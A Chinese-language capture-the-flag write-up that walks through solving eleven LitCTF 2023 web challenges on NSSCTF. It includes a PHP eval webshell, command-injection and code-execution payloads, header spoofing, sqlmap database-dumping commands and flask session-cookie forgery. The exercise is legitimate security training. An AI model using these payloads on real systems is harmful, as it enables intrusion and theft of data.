[LitCTF 2023] Web类题目做法及思路解析(个人分享)
题目平台地址:NSSCTF | 在线CTF平台?
奇怪,放哪里了,怎么看不见呢?(初级难度)
1.访问页面进行信息收集,发现该页面按钮都点击不了,直接查看网页源代码得到flag
NSSCTF{7fc9905b-d9f5-4b5a-bca3-5f06be151235}
探姬坚信PHP是世界上最好的语言,于是她用PHP写了一个小工具 (Flag位于根目录)
1.根据题目提示,该网页是基于PHP语言编写的。访问网页进行信息收集,发现该网页可以根据右边文本框内输入的内容进行URL、Base64、JSON编码格式的加密和解密
2.同时下方有一个“RUN?CODE”的按钮,在文本框输入内容点击此按钮后会发现右侧显示框内会出现语法错误的报错内容
3.根据题目提示,猜测可以执行PHP代码,输入 printf('123');?进行测试(注意需要结束符 ; ),发现可以正常执行代码
使用命令查看flag(没有命令过滤可以直接执行命令),根据题目提示flag在根目录
system('ls');
system('ls /');
system('cat?/flag');
NSSCTF{7f757021-ea75-4a96-937e-357c7ac2f283}
你是一颗导弹,你需要,飞到最后!(通过6道关卡就能拿到flag哦~)
1.打开题目发现是一道网页游戏题,基本网页游戏题中的flag都在js文件中,直接F12打开检查页面,点击调试器,对js文件进行分析
2.直接对js文件内进行搜索flag或ctf,没有发现flag。根据js文件的命名直接对main.js内的代码进行分析,分析后发现main.js发现多次调用了game.js文件内定义的函数,且MG.game.init()用于游戏逻辑的定义
3.分析game.js内的编码,发现判断游戏结束时返回的信息内存在flag,且因为对flag进行了过滤无法直接搜索
NSSCTF{y0u_w1n_th1s_!!!}
跟我来~
1.打开网页直接发现提示,且提交按钮没有什么实际用处
2.打开HackBar工具加载URL,根据提示通过GET方式向CTF参数内传递Lit2023,通过POST方式向Challenge参数内传递i'm_c0m1ng,得到flag
NSSCTF{caba678a-5e88-4abc-bc19-1d205dc60a29}
看看能PING出什么
1.打开网页根据提示,向输入框内输入 “127.0.0.1” 点击 “PING” 按钮进行尝试,发现回显出成功ping通的信息
2.尝试进行命令拼接,执行系统命令多次尝试后发现无法执行其他命令,查看网页源代码,发现做了前端过滤
3.打开HackBar工具加载URL,发现地址是靠command参数进行传递的,直接在该参数后拼接语句,尝试执行系统命令,发现成功执行命令
4.继续执行命令查看flag,执行查看flag文件命令时,发现没有直接回显,通过查看源代码得到flag
command=127.0.0.1|ls&ping=Ping
command=127.0.0.1|ls /&ping=Ping
command=127.0.0.1|cat /&ping=Ping
NSSCTF{710192be-6f1f-46c2-8585-269ae4af183b}
js....?不确定,再看看。
1.访问网页,发现又是一到游戏题,依旧是查看js文件,通过分析index.umd.js发现提示/f@k3f1ag.php
2.访问/f@k3f1ag.php,得到了一大串JSFuck编码,尝试进行解密,解密后得到flag,但要将其中 “[]” 删除掉
NSSCTF{77b8200d-519e-4bab-be75-948f4466f70a}
交作业!!但是哪里不对?
1.进入网页,发现需要登录,尝试使用万能密码登录,显示登录失败。进行信息收集,查看网页源代码发现默认账户admin/admin,登录成功进入作业管理系统
2.进入系统后发现可以上传文件,尝试编辑一句话木马并上传木马文件
<?php @eval($_POST['cmd']);?>
3.访问muma.php文件,打开HackBar工具加载URL,尝试进行POST传参,通过cmd参数传递参数来执行系统命令,得到flag
cmd=system('ls');
cmd=system('ls /');
cmd=system('ls /flag');
NSSCTF{8507cacc-8e1f-473c-9e5a-660ef7a2b524}
怎么还有一层.....
1.访问网页,发现提示“只允许本地访问”
2.打开HackBar工具加载URL,点击“Add?Header”添加请求头,传入X-Forwarded-For: 127.0.0.1,继续访问,发现XFF不行。重新传入Client-IP: 127.0.0.1,发现成功回显下一个提示信息
X-Forwarded-For(XFF)是用来识别通过HTTP代理和负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
Client-IP是另一个用于传递客户端IP地址的HTTP请求头字段,但并不如X-Forwarded-For常用。这个字段只包含一个IP地址,即请求的客户端IP地址。
3.新提示你不是pornhub.com,猜测需要从pornhub.com网页跳转到该页面,继续点击“Add?Header”添加请求头,传入referer: pornhub.com,成功回显新的提示信息
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
?
4.新提示用Chrome浏览器,猜测需要更改User-Agent,继续点击“Add?Header”添加请求头,传入User-Agent:?Chrome(最开始以为需要谷歌的浏览器标识,多次尝试后无法成功回显,最后发现只需要传入Chrome即可),成功回显新的提示信息
User Agent(用户代理,简称 UA),是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU?类型、浏览器及版本、浏览渲染引擎、浏览器语言、浏览器插件等。
?
5.新提示需要开启代理,代理地址是Clash.win,继续点击“Add?Header”添加请求头,传入Via: Clash.win,成功回显新的提示信息,得到/wtfwtfwtfwtf.php
Via是一个可选的HTTP请求头字段,其中包含了代理服务器的相关信息。当请求经过一个或多个代理服务器时,每个代理服务器都会向Via字段添加自己的标识。这样做的目的是提供有关请求路径的信息,以便于调试、故障排查和确定请求的来源。
?
6.访问 /wtfwtfwtfwtf.php 页面,没有发现什么有用信息,查看网页源代码,得到 /sejishikong.php
?
7.访问 /sejishikong.php ,直接得到flag
?
NSSCTF{1960ecf3-f444-4da2-9668-1742b859e55d}
漏...漏了!
1.访问页面进行信息收集,发现页面及源代码没有什么有用信息,使用dirsearch工具对URL进行扫描,发现.index.php.swp文件
dirsearch -u?目标URL
? ? ? ? -u? ? ? ? 指定目标URL
?
2.访问.index.php.swp文件,并成功下载该文件,将文件移动到Linux系统的机器当中,使用命令将文件复原,得到index.php文件的源码
swp后缀的文件是交换分区文件,是在使用vi或者vim编辑一个文件时产生的,当编辑完成正常退出时,该文件就会自动删除;swp文件是隐藏文件,在目录下使用“ls -la”才能查看。
vim -r?文件名
? ? ? ? -r????????恢复上次异常退出的文件
?
?
?
3.分析inde.php网页的源码,发现网页存在命令执行漏洞,当传入的password参数的值全等于
"Give_Me_Your_Flag"base64加密后的值时,可以通过cmd参数进行命令执行。打开HackBar加载URL尝试使用POST传参传递参数进行命令执行,成功回显
4.通过命令执行漏洞进行命令执行,得到flag
cmd=ls
cmd=ls /
cmd=cat /flag
NSSCTF{cfad66d8-dbee-4dc5-be5a-841c643f70da}
为了安全起见多带了几个套罢了o(*▽*)q
1.根据网页与题目提示发现该题目为SQL注入题目,且在输入“1”,点击按钮提交后发现通过id参数以GET传参的方式进行查询
2.直接使用sqlmap工具进行检测,发现可以扫描出漏洞,漏洞为时间盲注
sqlmap -u?目标URL
? ? ? ? -u????????????????指定一个URL作为目标(注意GET传参时URL需要带查询参数)
? ? ? ? --data??????????指定POST传参的查询参数
? ? ? ? --batch? ? ? ? 以非交互模式运行,所有要求的输入都会取默认值。
? ? ? ? --dbs? ? ? ? ? ?列举数据库管理系统中所有数据库。
? ? ? ? --tables? ? ? ? 列举指定数据库中的所有数据表
? ? ? ? --columns? ? 列举指定数据表中的所有列
? ? ? ? -D? ? ? ? ? ? ? ? 指定数据库
? ? ? ? -T? ? ? ? ? ? ? ? 指定数据表
????????-C? ? ? ? ? ? ? ? 指定列
? ? ? ? --dump? ? ? ? 列举表中的数据
3.继续使用sqlmap工具进行检测查询,得到flag
sqlmap -u "目标URL" --dbs
sqlmap -u "目标URL" -D?ctftraining --tables
sqlmap -u "目标URL" -D?ctftraining -T?flag --columns
sqlmap -u "目标URL" -D?ctftraining -T?flag -C?flag --dump
NSSCTF{b1238dbf-a7e6-4287-858e-0bc8e1c1e140}
大型Flag赠送活动开始啦,不过只有管理员才能拿到
1.访问网站,发现输入框,输入一个值,回显出信息并出现一个“拿flag”按钮,点击按钮提示只有管理员才能拿flag
2.重新回到输入界面在输入框中输入amdin,进行尝试,提示不是管理员
3.进行信息收集,发现Web框架为flask以及其cookie内的session值
flask是一个轻量级的Python?Web框架,它具有简单、灵活、易扩展等特点。
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。
4.想到通过伪造session来进行绕过,首先对已有session值进行解码(可能因为有乱码的原因有些工具无法正常解码,可以使用Base64 在线编码解码 | Base64 加密解密 - Base64.us?),发现{"name"."1"}
?session伪造攻击是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿用户的SESSION ID,伪装成其他用户,然后进一步进行SESSION劫持攻击。
5.使用python脚本伪造session,这里猜测key为LitCTF(大佬猜的,这个属实有点考验脑洞),解码进行验证,验证成功后再将 ‘{"name":"admin"}’?加密伪造session值
python脚本地址:https://codeload.github.com/noraj/flask-session-cookie-manager/zip/refs/heads/master
python flask_session_cookie_manager3.py decode -s 'secret_key' -c '需要解密的session值'
python flask_session_cookie_manager3.py encode -s 'secret_key' -t '需要加密的session值'
6.将伪造的session值传入cookie内再次访问 /flag 网页,拿到flag
NSSCTF{afb9d19e-36a7-402a-9016-7bfb07763222}